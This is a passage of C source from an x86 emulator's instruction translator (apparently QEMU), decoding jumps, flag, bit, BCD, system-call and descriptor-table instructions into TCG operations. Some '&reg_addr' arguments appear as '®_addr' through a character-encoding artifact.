tcg_const_i32(s->pc - s->cs_base));
s->cc_op = CC_OP_EFLAGS;
}
gen_eob(s);
break;
case 0xe8: /* call im */
{
if (dflag)
tval = (int32_t)insn_get(s, OT_LONG);
else
tval = (int16_t)insn_get(s, OT_WORD);
next_eip = s->pc - s->cs_base;
tval += next_eip;
if (s->dflag == 0)
tval &= 0xffff;
else if(!CODE64(s))
tval &= 0xffffffff;
gen_movtl_T0_im(next_eip);
gen_push_T0(s);
gen_jmp(s, tval);
}
break;
case 0x9a: /* lcall im */
{
unsigned int selector, offset;
if (CODE64(s))
goto illegal_op;
ot = dflag ? OT_LONG : OT_WORD;
offset = insn_get(s, ot);
selector = insn_get(s, OT_WORD);
gen_op_movl_T0_im(selector);
gen_op_movl_T1_imu(offset);
}
goto do_lcall;
case 0xe9: /* jmp im */
if (dflag)
tval = (int32_t)insn_get(s, OT_LONG);
else
tval = (int16_t)insn_get(s, OT_WORD);
tval += s->pc - s->cs_base;
if (s->dflag == 0)
tval &= 0xffff;
else if(!CODE64(s))
tval &= 0xffffffff;
gen_jmp(s, tval);
break;
case 0xea: /* ljmp im */
{
unsigned int selector, offset;
if (CODE64(s))
goto illegal_op;
ot = dflag ? OT_LONG : OT_WORD;
offset = insn_get(s, ot);
selector = insn_get(s, OT_WORD);
gen_op_movl_T0_im(selector);
gen_op_movl_T1_imu(offset);
}
goto do_ljmp;
case 0xeb: /* jmp Jb */
tval = (int8_t)insn_get(s, OT_BYTE);
tval += s->pc - s->cs_base;
if (s->dflag == 0)
tval &= 0xffff;
gen_jmp(s, tval);
break;
case 0x70 ... 0x7f: /* jcc Jb */
tval = (int8_t)insn_get(s, OT_BYTE);
goto do_jcc;
case 0x180 ... 0x18f: /* jcc Jv */
if (dflag) {
tval = (int32_t)insn_get(s, OT_LONG);
} else {
tval = (int16_t)insn_get(s, OT_WORD);
}
do_jcc:
next_eip = s->pc - s->cs_base;
tval += next_eip;
if (s->dflag == 0)
tval &= 0xffff;
gen_jcc(s, b, tval, next_eip);
break;
case 0x190 ... 0x19f: /* setcc Gv */
modrm = ldub_code(s->pc++);
gen_setcc(s, b);
gen_ldst_modrm(s, modrm, OT_BYTE, OR_TMP0, 1);
break;
case 0x140 ... 0x14f: /* cmov Gv, Ev */
{
int l1;
TCGv t0;
ot = dflag + OT_WORD;
modrm = ldub_code(s->pc++);
reg = ((modrm >> 3) & 7) | rex_r;
mod = (modrm >> 6) & 3;
t0 = tcg_temp_local_new();
if (mod != 3) {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_op_ld_v(ot + s->mem_index, t0, cpu_A0);
} else {
rm = (modrm & 7) | REX_B(s);
gen_op_mov_v_reg(ot, t0, rm);
}
#ifdef TARGET_X86_64
if (ot == OT_LONG) {
/* XXX: specific Intel behaviour ? */
l1 = gen_new_label();
gen_jcc1(s, s->cc_op, b ^ 1, l1);
tcg_gen_mov_tl(cpu_regs[reg], t0);
gen_set_label(l1);
tcg_gen_ext32u_tl(cpu_regs[reg], cpu_regs[reg]);
} else
#endif
{
l1 = gen_new_label();
gen_jcc1(s, s->cc_op, b ^ 1, l1);
gen_op_mov_reg_v(ot, reg, t0);
gen_set_label(l1);
}
tcg_temp_free(t0);
}
break;
/************************/
/* flags */
case 0x9c: /* pushf */
gen_svm_check_intercept(s, pc_start, SVM_EXIT_PUSHF);
if (s->vm86 && s->iopl != 3) {
gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base);
} else {
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_helper_read_eflags(cpu_T[0]);
gen_push_T0(s);
}
break;
case 0x9d: /* popf */
gen_svm_check_intercept(s, pc_start, SVM_EXIT_POPF);
if (s->vm86 && s->iopl != 3) {
gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base);
} else {
gen_pop_T0(s);
if (s->cpl == 0) {
if (s->dflag) {
gen_helper_write_eflags(cpu_T[0],
tcg_const_i32((TF_MASK | AC_MASK | ID_MASK | NT_MASK | IF_MASK | IOPL_MASK)));
} else {
gen_helper_write_eflags(cpu_T[0],
tcg_const_i32((TF_MASK | AC_MASK | ID_MASK | NT_MASK | IF_MASK | IOPL_MASK) & 0xffff));
}
} else {
if (s->cpl <= s->iopl) {
if (s->dflag) {
gen_helper_write_eflags(cpu_T[0],
tcg_const_i32((TF_MASK | AC_MASK | ID_MASK | NT_MASK | IF_MASK)));
} else {
gen_helper_write_eflags(cpu_T[0],
tcg_const_i32((TF_MASK | AC_MASK | ID_MASK | NT_MASK | IF_MASK) & 0xffff));
}
} else {
if (s->dflag) {
gen_helper_write_eflags(cpu_T[0],
tcg_const_i32((TF_MASK | AC_MASK | ID_MASK | NT_MASK)));
} else {
gen_helper_write_eflags(cpu_T[0],
tcg_const_i32((TF_MASK | AC_MASK | ID_MASK | NT_MASK) & 0xffff));
}
}
}
gen_pop_update(s);
s->cc_op = CC_OP_EFLAGS;
/* abort translation because TF flag may change */
gen_jmp_im(s->pc - s->cs_base);
gen_eob(s);
}
break;
case 0x9e: /* sahf */
if (CODE64(s) && !(s->cpuid_ext3_features & CPUID_EXT3_LAHF_LM))
goto illegal_op;
gen_op_mov_TN_reg(OT_BYTE, 0, R_AH);
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_compute_eflags(cpu_cc_src);
tcg_gen_andi_tl(cpu_cc_src, cpu_cc_src, CC_O);
tcg_gen_andi_tl(cpu_T[0], cpu_T[0], CC_S | CC_Z | CC_A | CC_P | CC_C);
tcg_gen_or_tl(cpu_cc_src, cpu_cc_src, cpu_T[0]);
s->cc_op = CC_OP_EFLAGS;
break;
case 0x9f: /* lahf */
if (CODE64(s) && !(s->cpuid_ext3_features & CPUID_EXT3_LAHF_LM))
goto illegal_op;
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_compute_eflags(cpu_T[0]);
/* Note: gen_compute_eflags() only gives the condition codes */
tcg_gen_ori_tl(cpu_T[0], cpu_T[0], 0x02);
gen_op_mov_reg_T0(OT_BYTE, R_AH);
break;
case 0xf5: /* cmc */
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_compute_eflags(cpu_cc_src);
tcg_gen_xori_tl(cpu_cc_src, cpu_cc_src, CC_C);
s->cc_op = CC_OP_EFLAGS;
break;
case 0xf8: /* clc */
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_compute_eflags(cpu_cc_src);
tcg_gen_andi_tl(cpu_cc_src, cpu_cc_src, ~CC_C);
s->cc_op = CC_OP_EFLAGS;
break;
case 0xf9: /* stc */
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_compute_eflags(cpu_cc_src);
tcg_gen_ori_tl(cpu_cc_src, cpu_cc_src, CC_C);
s->cc_op = CC_OP_EFLAGS;
break;
case 0xfc: /* cld */
tcg_gen_movi_i32(cpu_tmp2_i32, 1);
tcg_gen_st_i32(cpu_tmp2_i32, cpu_env, offsetof(CPUState, df));
break;
case 0xfd: /* std */
tcg_gen_movi_i32(cpu_tmp2_i32, -1);
tcg_gen_st_i32(cpu_tmp2_i32, cpu_env, offsetof(CPUState, df));
break;
/************************/
/* bit operations */
case 0x1ba: /* bt/bts/btr/btc Gv, im */
ot = dflag + OT_WORD;
modrm = ldub_code(s->pc++);
op = (modrm >> 3) & 7;
mod = (modrm >> 6) & 3;
rm = (modrm & 7) | REX_B(s);
if (mod != 3) {
s->rip_offset = 1;
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_op_ld_T0_A0(ot + s->mem_index);
} else {
gen_op_mov_TN_reg(ot, 0, rm);
}
/* load shift */
val = ldub_code(s->pc++);
gen_op_movl_T1_im(val);
if (op < 4)
goto illegal_op;
op -= 4;
goto bt_op;
case 0x1a3: /* bt Gv, Ev */
op = 0;
goto do_btx;
case 0x1ab: /* bts */
op = 1;
goto do_btx;
case 0x1b3: /* btr */
op = 2;
goto do_btx;
case 0x1bb: /* btc */
op = 3;
do_btx:
ot = dflag + OT_WORD;
modrm = ldub_code(s->pc++);
reg = ((modrm >> 3) & 7) | rex_r;
mod = (modrm >> 6) & 3;
rm = (modrm & 7) | REX_B(s);
gen_op_mov_TN_reg(OT_LONG, 1, reg);
if (mod != 3) {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
/* specific case: we need to add a displacement */
gen_exts(ot, cpu_T[1]);
tcg_gen_sari_tl(cpu_tmp0, cpu_T[1], 3 + ot);
tcg_gen_shli_tl(cpu_tmp0, cpu_tmp0, ot);
tcg_gen_add_tl(cpu_A0, cpu_A0, cpu_tmp0);
gen_op_ld_T0_A0(ot + s->mem_index);
} else {
gen_op_mov_TN_reg(ot, 0, rm);
}
bt_op:
tcg_gen_andi_tl(cpu_T[1], cpu_T[1], (1 << (3 + ot)) - 1);
switch(op) {
case 0:
tcg_gen_shr_tl(cpu_cc_src, cpu_T[0], cpu_T[1]);
tcg_gen_movi_tl(cpu_cc_dst, 0);
break;
case 1:
tcg_gen_shr_tl(cpu_tmp4, cpu_T[0], cpu_T[1]);
tcg_gen_movi_tl(cpu_tmp0, 1);
tcg_gen_shl_tl(cpu_tmp0, cpu_tmp0, cpu_T[1]);
tcg_gen_or_tl(cpu_T[0], cpu_T[0], cpu_tmp0);
break;
case 2:
tcg_gen_shr_tl(cpu_tmp4, cpu_T[0], cpu_T[1]);
tcg_gen_movi_tl(cpu_tmp0, 1);
tcg_gen_shl_tl(cpu_tmp0, cpu_tmp0, cpu_T[1]);
tcg_gen_not_tl(cpu_tmp0, cpu_tmp0);
tcg_gen_and_tl(cpu_T[0], cpu_T[0], cpu_tmp0);
break;
default:
case 3:
tcg_gen_shr_tl(cpu_tmp4, cpu_T[0], cpu_T[1]);
tcg_gen_movi_tl(cpu_tmp0, 1);
tcg_gen_shl_tl(cpu_tmp0, cpu_tmp0, cpu_T[1]);
tcg_gen_xor_tl(cpu_T[0], cpu_T[0], cpu_tmp0);
break;
}
s->cc_op = CC_OP_SARB + ot;
if (op != 0) {
if (mod != 3)
gen_op_st_T0_A0(ot + s->mem_index);
else
gen_op_mov_reg_T0(ot, rm);
tcg_gen_mov_tl(cpu_cc_src, cpu_tmp4);
tcg_gen_movi_tl(cpu_cc_dst, 0);
}
break;
case 0x1bc: /* bsf */
case 0x1bd: /* bsr */
{
int label1;
TCGv t0;
ot = dflag + OT_WORD;
modrm = ldub_code(s->pc++);
reg = ((modrm >> 3) & 7) | rex_r;
gen_ldst_modrm(s,modrm, ot, OR_TMP0, 0);
gen_extu(ot, cpu_T[0]);
t0 = tcg_temp_local_new();
tcg_gen_mov_tl(t0, cpu_T[0]);
if ((b & 1) && (prefixes & PREFIX_REPZ) &&
(s->cpuid_ext3_features & CPUID_EXT3_ABM)) {
switch(ot) {
case OT_WORD: gen_helper_lzcnt(cpu_T[0], t0,
tcg_const_i32(16)); break;
case OT_LONG: gen_helper_lzcnt(cpu_T[0], t0,
tcg_const_i32(32)); break;
case OT_QUAD: gen_helper_lzcnt(cpu_T[0], t0,
tcg_const_i32(64)); break;
}
gen_op_mov_reg_T0(ot, reg);
} else {
label1 = gen_new_label();
tcg_gen_movi_tl(cpu_cc_dst, 0);
tcg_gen_brcondi_tl(TCG_COND_EQ, t0, 0, label1);
if (b & 1) {
gen_helper_bsr(cpu_T[0], t0);
} else {
gen_helper_bsf(cpu_T[0], t0);
}
gen_op_mov_reg_T0(ot, reg);
tcg_gen_movi_tl(cpu_cc_dst, 1);
gen_set_label(label1);
tcg_gen_discard_tl(cpu_cc_src);
s->cc_op = CC_OP_LOGICB + ot;
}
tcg_temp_free(t0);
}
break;
/************************/
/* bcd */
case 0x27: /* daa */
if (CODE64(s))
goto illegal_op;
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_helper_daa();
s->cc_op = CC_OP_EFLAGS;
break;
case 0x2f: /* das */
if (CODE64(s))
goto illegal_op;
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_helper_das();
s->cc_op = CC_OP_EFLAGS;
break;
case 0x37: /* aaa */
if (CODE64(s))
goto illegal_op;
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_helper_aaa();
s->cc_op = CC_OP_EFLAGS;
break;
case 0x3f: /* aas */
if (CODE64(s))
goto illegal_op;
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_helper_aas();
s->cc_op = CC_OP_EFLAGS;
break;
case 0xd4: /* aam */
if (CODE64(s))
goto illegal_op;
val = ldub_code(s->pc++);
if (val == 0) {
gen_exception(s, EXCP00_DIVZ, pc_start - s->cs_base);
} else {
gen_helper_aam(tcg_const_i32(val));
s->cc_op = CC_OP_LOGICB;
}
break;
case 0xd5: /* aad */
if (CODE64(s))
goto illegal_op;
val = ldub_code(s->pc++);
gen_helper_aad(tcg_const_i32(val));
s->cc_op = CC_OP_LOGICB;
break;
/************************/
/* misc */
case 0x90: /* nop */
/* XXX: xchg + rex handling */
/* XXX: correct lock test for all insn */
if (prefixes & PREFIX_LOCK)
goto illegal_op;
if (prefixes & PREFIX_REPZ) {
gen_svm_check_intercept(s, pc_start, SVM_EXIT_PAUSE);
}
break;
case 0x9b: /* fwait */
if ((s->flags & (HF_MP_MASK | HF_TS_MASK)) ==
(HF_MP_MASK | HF_TS_MASK)) {
gen_exception(s, EXCP07_PREX, pc_start - s->cs_base);
} else {
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(pc_start - s->cs_base);
gen_helper_fwait();
}
break;
case 0xcc: /* int3 */
gen_interrupt(s, EXCP03_INT3, pc_start - s->cs_base, s->pc - s->cs_base);
break;
case 0xcd: /* int N */
val = ldub_code(s->pc++);
if (s->vm86 && s->iopl != 3) {
gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base);
} else {
gen_interrupt(s, val, pc_start - s->cs_base, s->pc - s->cs_base);
}
break;
case 0xce: /* into */
if (CODE64(s))
goto illegal_op;
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(pc_start - s->cs_base);
gen_helper_into(tcg_const_i32(s->pc - pc_start));
break;
#ifdef WANT_ICEBP
case 0xf1: /* icebp (undocumented, exits to external debugger) */
gen_svm_check_intercept(s, pc_start, SVM_EXIT_ICEBP);
#if 1
gen_debug(s, pc_start - s->cs_base);
#else
/* start debug */
tb_flush(cpu_single_env);
cpu_set_log(CPU_LOG_INT | CPU_LOG_TB_IN_ASM);
#endif
break;
#endif
case 0xfa: /* cli */
if (!s->vm86) {
if (s->cpl <= s->iopl) {
gen_helper_cli();
} else {
gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base);
}
} else {
if (s->iopl == 3) {
gen_helper_cli();
} else {
gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base);
}
}
break;
case 0xfb: /* sti */
if (!s->vm86) {
if (s->cpl <= s->iopl) {
gen_sti:
gen_helper_sti();
/* interruptions are enabled only the first insn after sti */
/* If several instructions disable interrupts, only the
_first_ does it */
if (!(s->tb->flags & HF_INHIBIT_IRQ_MASK))
gen_helper_set_inhibit_irq();
/* give a chance to handle pending irqs */
gen_jmp_im(s->pc - s->cs_base);
gen_eob(s);
} else {
gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base);
}
} else {
if (s->iopl == 3) {
goto gen_sti;
} else {
gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base);
}
}
break;
case 0x62: /* bound */
if (CODE64(s))
goto illegal_op;
ot = dflag ? OT_LONG : OT_WORD;
modrm = ldub_code(s->pc++);
reg = (modrm >> 3) & 7;
mod = (modrm >> 6) & 3;
if (mod == 3)
goto illegal_op;
gen_op_mov_TN_reg(ot, 0, reg);
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_jmp_im(pc_start - s->cs_base);
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_T[0]);
if (ot == OT_WORD)
gen_helper_boundw(cpu_A0, cpu_tmp2_i32);
else
gen_helper_boundl(cpu_A0, cpu_tmp2_i32);
break;
case 0x1c8 ... 0x1cf: /* bswap reg */
reg = (b & 7) | REX_B(s);
#ifdef TARGET_X86_64
if (dflag == 2) {
gen_op_mov_TN_reg(OT_QUAD, 0, reg);
tcg_gen_bswap64_i64(cpu_T[0], cpu_T[0]);
gen_op_mov_reg_T0(OT_QUAD, reg);
} else
#endif
{
gen_op_mov_TN_reg(OT_LONG, 0, reg);
tcg_gen_ext32u_tl(cpu_T[0], cpu_T[0]);
tcg_gen_bswap32_tl(cpu_T[0], cpu_T[0]);
gen_op_mov_reg_T0(OT_LONG, reg);
}
break;
case 0xd6: /* salc */
if (CODE64(s))
goto illegal_op;
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_compute_eflags_c(cpu_T[0]);
tcg_gen_neg_tl(cpu_T[0], cpu_T[0]);
gen_op_mov_reg_T0(OT_BYTE, R_EAX);
break;
case 0xe0: /* loopnz */
case 0xe1: /* loopz */
case 0xe2: /* loop */
case 0xe3: /* jecxz */
{
int l1, l2, l3;
tval = (int8_t)insn_get(s, OT_BYTE);
next_eip = s->pc - s->cs_base;
tval += next_eip;
if (s->dflag == 0)
tval &= 0xffff;
l1 = gen_new_label();
l2 = gen_new_label();
l3 = gen_new_label();
b &= 3;
switch(b) {
case 0: /* loopnz */
case 1: /* loopz */
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_op_add_reg_im(s->aflag, R_ECX, -1);
gen_op_jz_ecx(s->aflag, l3);
gen_compute_eflags(cpu_tmp0);
tcg_gen_andi_tl(cpu_tmp0, cpu_tmp0, CC_Z);
if (b == 0) {
tcg_gen_brcondi_tl(TCG_COND_EQ, cpu_tmp0, 0, l1);
} else {
tcg_gen_brcondi_tl(TCG_COND_NE, cpu_tmp0, 0, l1);
}
break;
case 2: /* loop */
gen_op_add_reg_im(s->aflag, R_ECX, -1);
gen_op_jnz_ecx(s->aflag, l1);
break;
default:
case 3: /* jcxz */
gen_op_jz_ecx(s->aflag, l1);
break;
}
gen_set_label(l3);
gen_jmp_im(next_eip);
tcg_gen_br(l2);
gen_set_label(l1);
gen_jmp_im(tval);
gen_set_label(l2);
gen_eob(s);
}
break;
case 0x130: /* wrmsr */
case 0x132: /* rdmsr */
if (s->cpl != 0) {
gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base);
} else {
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(pc_start - s->cs_base);
if (b & 2) {
gen_helper_rdmsr();
} else {
gen_helper_wrmsr();
}
}
break;
case 0x131: /* rdtsc */
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(pc_start - s->cs_base);
if (use_icount)
gen_io_start();
gen_helper_rdtsc();
if (use_icount) {
gen_io_end();
gen_jmp(s, s->pc - s->cs_base);
}
break;
case 0x133: /* rdpmc */
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(pc_start - s->cs_base);
gen_helper_rdpmc();
break;
case 0x134: /* sysenter */
/* For Intel SYSENTER is valid on 64-bit */
if (CODE64(s) && cpu_single_env->cpuid_vendor1 != CPUID_VENDOR_INTEL_1)
goto illegal_op;
if (!s->pe) {
gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base);
} else {
if (s->cc_op != CC_OP_DYNAMIC) {
gen_op_set_cc_op(s->cc_op);
s->cc_op = CC_OP_DYNAMIC;
}
gen_jmp_im(pc_start - s->cs_base);
gen_helper_sysenter();
gen_eob(s);
}
break;
case 0x135: /* sysexit */
/* For Intel SYSEXIT is valid on 64-bit */
if (CODE64(s) && cpu_single_env->cpuid_vendor1 != CPUID_VENDOR_INTEL_1)
goto illegal_op;
if (!s->pe) {
gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base);
} else {
if (s->cc_op != CC_OP_DYNAMIC) {
gen_op_set_cc_op(s->cc_op);
s->cc_op = CC_OP_DYNAMIC;
}
gen_jmp_im(pc_start - s->cs_base);
gen_helper_sysexit(tcg_const_i32(dflag));
gen_eob(s);
}
break;
#ifdef TARGET_X86_64
case 0x105: /* syscall */
/* XXX: is it usable in real mode ? */
if (s->cc_op != CC_OP_DYNAMIC) {
gen_op_set_cc_op(s->cc_op);
s->cc_op = CC_OP_DYNAMIC;
}
gen_jmp_im(pc_start - s->cs_base);
gen_helper_syscall(tcg_const_i32(s->pc - pc_start));
gen_eob(s);
break;
case 0x107: /* sysret */
if (!s->pe) {
gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base);
} else {
if (s->cc_op != CC_OP_DYNAMIC) {
gen_op_set_cc_op(s->cc_op);
s->cc_op = CC_OP_DYNAMIC;
}
gen_jmp_im(pc_start - s->cs_base);
gen_helper_sysret(tcg_const_i32(s->dflag));
/* condition codes are modified only in long mode */
if (s->lma)
s->cc_op = CC_OP_EFLAGS;
gen_eob(s);
}
break;
#endif
case 0x1a2: /* cpuid */
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(pc_start - s->cs_base);
gen_helper_cpuid();
break;
case 0xf4: /* hlt */
if (s->cpl != 0) {
gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base);
} else {
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(pc_start - s->cs_base);
gen_helper_hlt(tcg_const_i32(s->pc - pc_start));
s->is_jmp = 3;
}
break;
case 0x100:
modrm = ldub_code(s->pc++);
mod = (modrm >> 6) & 3;
op = (modrm >> 3) & 7;
switch(op) {
case 0: /* sldt */
if (!s->pe || s->vm86)
goto illegal_op;
gen_svm_check_intercept(s, pc_start, SVM_EXIT_LDTR_READ);
tcg_gen_ld32u_tl(cpu_T[0], cpu_env, offsetof(CPUX86State,ldt.selector));
ot = OT_WORD;
if (mod == 3)
ot += s->dflag;
gen_ldst_modrm(s, modrm, ot, OR_TMP0, 1);
break;
case 2: /* lldt */
if (!s->pe || s->vm86)
goto illegal_op;
if (s->cpl != 0) {
gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base);
} else {
gen_svm_check_intercept(s, pc_start, SVM_EXIT_LDTR_WRITE);
gen_ldst_modrm(s, modrm, OT_WORD, OR_TMP0, 0);
gen_jmp_im(pc_start - s->cs_base);
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_T[0]);
gen_helper_lldt(cpu_tmp2_i32);
}
break;
case 1: /* str */
if (!s->pe || s->vm86)
goto illegal_op;
gen_svm_check_intercept(s, pc_start, SVM_EXIT_TR_READ);
tcg_gen_ld32u_tl(cpu_T[0], cpu_env, offsetof(CPUX86State,tr.selector));
ot = OT_WORD;
if (mod == 3)
ot += s->dflag;
gen_ldst_modrm(s, modrm, ot, OR_TMP0, 1);
break;
case 3: /* ltr */
if (!s->pe || s->vm86)
goto illegal_op;
if (s->cpl != 0) {
gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base);
} else {
gen_svm_check_intercept(s, pc_start, SVM_EXIT_TR_WRITE);
gen_ldst_modrm(s, modrm, OT_WORD, OR_TMP0, 0);
gen_jmp_im(pc_start - s->cs_base);
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_T[0]);
gen_helper_ltr(cpu_tmp2_i32);
}
break;
case 4: /* verr */
case 5: /* verw */
if (!s->pe || s->vm86)
goto illegal_op;
gen_ldst_modrm(s, modrm, OT_WORD, OR_TMP0, 0);
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
if (op == 4)
gen_helper_verr(cpu_T[0]);
else
gen_helper_verw(cpu_T[0]);
s->cc_op = CC_OP_EFLAGS;
break;
default:
goto illegal_op;
}
break;
case 0x101:
modrm = ldub_code(s->pc++);
mod = (modrm >> 6) & 3;
op = (modrm >> 3) & 7;
rm = modrm & 7;
switch(op) {
case 0: /* sgdt */
if (mod == 3)
goto illegal_op;
gen_svm_check_intercept(s, pc_start, SVM_EXIT_GDTR_READ);
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
tcg_gen_ld32u_tl(cpu_T[0], cpu_env, offsetof(CPUX86State, gdt.limit));
gen_op_st_T0_A0(OT_WORD + s->mem_index);
gen_add_A0_im(s, 2);
tcg_gen_ld_tl(cpu_T[0], cpu_env, offsetof(CPUX86State, gdt.base));
if (!s->dflag)
gen_op_andl_T0_im(0xffffff);
gen_op_st_T0_A0(CODE64(s) + OT_LONG + s->mem_index);
break;
case 1:
if (mod == 3) {
switch (rm) {
case 0: /* monitor */
if (!(s->cpuid_ext_features & CPUID_EXT_MONITOR) ||
s->cpl != 0)
goto illegal_op;
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(pc_start - s->cs_base);
#ifdef TARGET_X86_64
if (s->aflag == 2) {
gen_op_movq_A0_reg(R_EAX);
} else
#endif
{
gen_op_movl_A0_reg(R_EAX);
if (s->aflag == 0)
gen_op_andl_A0_ffff();
}
gen_add_A0_ds_seg(s);
gen_helper_monitor(cpu_A0);
break;
case 1: /* mwait */
if (!(s->cpuid_ext_features & CPUID_EXT_MONITOR) ||
s->cpl != 0)
goto illegal_op;
if (s->cc_op != CC_OP_DYNAMIC) {
gen_op_set_cc_op(s->cc_op);
s->cc_op = CC_OP_DYNAMIC;
}
gen_jmp_im(pc_start - s->cs_base);
gen_helper_mwait(tcg_const_i32(s->pc - pc_start));
gen_eob(s);
break;
default:
goto illegal_op;
}
} else { /* sidt */
gen_svm_check_intercept(s, pc_start, SVM_EXIT_IDTR_READ);
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
tcg_gen_ld32u_tl(cpu_T[0], cpu_env, offsetof(CPUX86State, idt.limit));
gen_op_st_T0_A0(OT_WORD + s->mem_index);
gen_add_A0_im(s, 2);
tcg_gen_ld_tl(cpu_T[0], cpu_env, offsetof(CPUX86State, idt.base));
if (!s->dflag)
gen_op_andl_T0_im(0xffffff);
gen_op_st_T0_A0(CODE64(s) + OT_LONG + s->mem_index);
}
break;
case 2: /* lgdt */
case 3: /* lidt */
if (mod == 3) {
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(pc_start - s->cs_base);
switch(rm) {
case 0: /* VMRUN */
if (!(s->flags & HF_SVME_MASK) || !s->pe)
goto illegal_op;
if (s->cpl != 0) {
gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base);
break;
} else {
gen_helper_vmrun(tcg_const_i32(s->aflag),
tcg_const_i32(s->pc - pc_start));
tcg_gen_exit_tb(0);
s->is_jmp = 3;
}
break;
case 1: /* VMMCALL */
if (!(s->flags & HF_SVME_MASK))
goto illegal_op;
gen_helper_vmmcall();
break;
case 2: /* VMLOAD */
if (!(s->flags & HF_SVME_MASK) || !s->pe)
goto illegal_op;
if (s->cpl != 0) {
gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base);
break;
} else {
gen_helper_vmload(tcg_const_i32(s->aflag));
}
break;
case 3: /* VMSAVE */
if (!(s->flags & HF_SVME_MASK) || !s->pe)
goto illegal_op;
if (s->cpl != 0) {
gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base);
break;
} else {
gen_helper_vmsave(tcg_const_i32(s->aflag));
}
break;
case 4: /* STGI */
if ((!(s->flags & HF_SVME_MASK) &&
!(s->cpuid_ext3_features & CPUID_EXT3_SKINIT)) ||
!s->pe)
goto illegal_op;
if (s->cpl != 0) {
gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base);
break;
} else {
gen_helper_stgi();
}
break;
case 5: /* CLGI */
if (!(s->flags & HF_SVME_MASK) || !s->pe)
goto illegal_op;
if (s->cpl != 0) {
gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base);
break;
} else {
gen_helper_clgi();
}
break;
case 6: /* SKINIT */
if ((!(s->flags & HF_SVME_MASK) &&
!(s->cpuid_ext3_features & CPUID_EXT3_SKINIT)) ||
!s->pe)
goto illegal_op;
gen_helper_skinit();
break;
case 7: /* INVLPGA */
if (!(s->flags & HF_SVME_MASK) || !s->pe)
goto illegal_op;
if (s->cpl != 0) {
gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base);
break;
} else {
gen_helper_invlpga(tcg_const_i32(s->aflag));
}
break;
default:
goto illegal_op;
}
} else if (s->cpl != 0) {
gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base);
} else {
gen_svm_check_intercept(s, pc_start,
op==2 ? SVM_EXIT_GDTR_WRITE : SVM_EXIT_IDTR_WRITE);
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_op_ld_T1_A0(OT_WORD + s->mem_index);
gen_add_A0_im(s, 2);
gen_op_ld_T0_A0(CODE64(s) + OT_LONG + s->mem_index);
if (!s->dflag)
gen_op_andl_T0_im(0xffffff);
if (op == 2) {
tcg_gen_st_tl(cpu_T[0], cpu_env, offsetof(CPUX86State,gdt.base));
tcg_gen_st32_tl(cpu_T[1], cpu_env, offsetof(CPUX86State,gdt.limit));
} else {
tcg_gen_st_tl(cpu_T[0], cpu_env, offsetof(CPUX86State,idt.base));
tcg_gen_st32_tl(cpu_T[1], cpu_env, offsetof(CPUX86State,idt.limit));
}
}
break;
case 4: /* smsw */
gen_svm_check_intercept(s, pc_start, SVM_EXIT_READ_CR0);
#if defined TARGET_X86_64 && defined HOST_WORDS_BIGENDIAN
